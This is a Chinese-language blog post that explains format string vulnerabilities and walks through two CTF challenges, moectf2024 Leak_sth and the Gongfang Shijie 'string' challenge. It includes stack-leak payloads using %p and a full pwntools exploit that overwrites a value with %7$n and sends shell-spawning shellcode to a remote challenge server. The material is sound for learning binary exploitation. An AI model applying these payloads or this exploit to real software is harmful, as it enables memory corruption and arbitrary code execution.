Featured image of post 格式化字符串

格式化字符串

探讨一下

在看你好_Hacker 的pwn_college(非常好的课程,推)的格式化字符串课程时搜索了一些东西。

格式化字符串漏洞

历史上2000年左右格式化字符串开始流行,在各种软件中相关漏洞层出不穷,目前格式化字符串漏洞在IoT物联网设备上竟然仍有很多漏洞

CVE案例

详见HarmonyOS Security Bulletins for Huawei Phones and Tablets 2023年7月 alt text

做到的题都很公式化但是其实有些一知半解,写篇博客记录研究一下、

概念

详情可见CTF WIKI
也可以看看CTFer成长日记11:格式化字符串漏洞的原理与利用 ,讲的算清晰的文章 简单来讲就是C语言中的printf函数所接受的第一个参数是字符串,也被称为格式化字符串 我们可以在该字符串中使用%d %s %c等占位符,printf函数会据此输出
参数图
注意有一个特别重要的
%n格式代码:它可以将printf函数已经输出的字符个数写入指定的地址中。在后面跟上$n用于指定要写入的地址。 %x %p在打印内存地址常用到

利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。–转自ctf-wiki 通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分

1
2
3
格式化字符串函数
格式化字符串
后续参数,可选

用于锁定输入字符串再返回的栈上的地址的发送如下 p.send('AAAA'+'-%p'*10)(64位为8位,发送8个A)

  1. AAAA 会占据一个栈帧的位置,且由于格式化字符串漏洞,%p 会从栈上依次打印指针地址,通常这些指针是栈上存储的内容。
  2. 每个 %p 打印出的都是栈中的一个位置,通常是指针或数据的地址。

例题:moectf2024 Leak_sth


发现我们在发送之后找到了退出栈的时候的AAAA的地址为第八个,即0x2d70252d41414141,(A对应十六进制41)所以我们要找的V2就是前一个0x5b1ceb6c的位置,即第七位开始发生偏移

例题:攻防世界 stirng

菜鸡遇到了Dragon,有一位巫师可以帮助他逃离危险,但似乎需要一些要求

1
2
3
4
5
6
7
8
┌──(nan0in㉿BF-202501180754)-[~/CTF/adworld/string]
└─$ checksec 1
[*] '/home/nan0in/CTF/adworld/string/1'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

只有PIE没开

题目提示:main中
告诉我们相关的地址
v4以及v4+1的地址

IDA中看函数,进入sub_400D72
输入name后进入sub_400A7D,输入east和1通过 sub_400BB9printf,可以用来格式化字符串 sub_400CA6中将输入值进行比较 mmap申请了一块内存,7代表可读可写可执行,用于执行shellcode
main中定义了*v4和v4[1],修改一个即可

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

shellcode=asm(shellcraft.sh())


#io=process("/home/nan0in/CTF/adworld/string/1")
io=remote("61.147.171.105",64575)

io.recvuntil("secret[0] is ")

v4_addr=int(io.recvuntil("\n")[:-1],16) #接收地址

io.recvuntil("name be:")
io.sendline("nan0in")
io.recvuntil("So, where you will go?east or up?")
io.sendline("east") #跳转到下个函数

io.recvuntil("go into there(1), or leave(0)?:")
io.sendline("1") 
io.recvuntil("'Give me an address'")
io.sendline(str(v4_addr))
#io.sendline('1111')
io.recvuntil("And, you wish is:")
payload='a'*85+'%7$n' #payload='%85c%7$n'
# io.sendline("aaaaaaaa"+"-%p"*10)
io.sendline(payload)
io.recvuntil("Wizard: I will help you! USE YOU SPELL")
io.send(shellcode)
io.interactive()

WP解答:

在进入到sub_400BB9后我们发送io.sendline("aaaaaaaa"+"-%p"*10)
找到print栈上format偏移地址为8
同时观察得到0x457就是1111,所以我们可以在这里直接发送偏移为7的地址就可以直接移动到v4的值 通过'a'*85+'%7$n'我们将其修改为85,然后根据mmap分配的地址运行shellcode,即可getshell

本博客已稳定运行
发表了14篇文章 · 总计3万2千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...